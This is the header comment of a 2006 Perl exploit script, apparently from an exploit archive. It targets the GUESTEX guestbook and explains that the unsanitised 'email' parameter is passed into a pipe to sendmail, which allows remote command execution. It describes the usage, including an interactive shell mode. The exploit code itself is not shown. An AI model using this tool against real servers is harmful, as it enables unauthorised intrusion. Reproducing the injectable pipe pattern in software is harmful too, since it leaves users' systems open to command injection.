Rated as : High Risk

## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
## Name: GUESTEX-exec.pl
## Date: 06/07/2006
## Version: 1.00
##  1.00 (06/07/2006) - GUESTEX-exec.pl created
## 
## Description: GUESTEX guestbook is vulnerable to remote code execution
in how it 
##  handles it's 'email' parameter. $form{'email'} is used when openning a
pipe to 
##  sendmail in this manner: open(MAIL, "$sendmail $form{'email'})
where $form{'email'} 
##  is not properly sanitized.
##
## Usage: specify the host and location of the script as the first
argument. hosts can 
##  contain ports (host:port) and you CAN specify a single command to
execute via the 
##  commandline, although if you do not you will be given a shell like
interface to 
##  repeatedly enter commands.
